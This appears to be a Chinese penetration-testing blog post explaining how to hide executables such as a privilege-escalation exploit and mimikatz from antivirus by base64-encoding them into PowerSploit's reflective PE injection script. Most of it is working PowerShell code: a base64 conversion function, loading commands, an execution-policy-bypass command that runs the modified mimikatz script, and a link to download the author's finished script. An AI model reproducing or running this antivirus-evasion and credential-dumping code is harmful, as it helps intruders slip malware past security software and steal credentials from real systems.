黑客工具是渗透手在日常工作中必备的,很多黑客工具其实并不是木马或病毒,但是也被杀毒软件查杀,所以让自己手头的黑客工具躲过杀软也是渗透手的必要技能。
Poweshell有一个peloader脚本,地址在https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1。
这个工具如何调用exe呢?具体调用代码如下:
Import-Module .Invoke-ReflectivePEInjection.ps1$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
如下图所示(图中调用了ms16-032x64这个exp):
这样难免会有ms16-032x64.exe这个文件落地,还是会被杀的。我们要做的工作就是改造Invoke-ReflectivePEInjection.ps1这个脚本让exe消失不见。具体做法就是我们可以先把exe文件转为base64字符串放在powershell脚本中,再把base64字符串再转为Invoke-ReflectivePEInjection.ps1可以调用的字节码就可以了。
转换exe的base64的powershell脚本base.ps1代码如下:
function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } $Base64String | set-content ("b64.txt")}
具体做法如下图所示:
生成base64的字符串并存储在b64.txt中。
然后我们就可以用新的命令来调用Invoke-ReflectivePEInjection.ps1了,先使用如下命令进行转换:
$InputString = "base64string"$PEBytes = [System.Convert]::FromBase64String($InputString)
之后就可以再使用原来的命令了
Invoke-ReflectivePEInjection -PEBytes $PEBytes
进行加载,最后分享一下最终的脚本http://haiyangtop.cn/mima64.ps1。
读者下载这个脚本后,你只需要把代码中的这一行$InputString = "base64string"这里的base64字符串替换一下为别的exe的base64字符串就可以了。不过经我测试似乎64位系统只能加载64位程序,32位系统未测试。
mima64.ps1这个脚本是我用mimikatz改造的,用法如下:
powershell -ep bypass -c "Import-Module c:mima.ps1;mima -command -p"
具体见效果如下:
本文写作参考了Evi1cg的文章,最后对原作者表示感谢。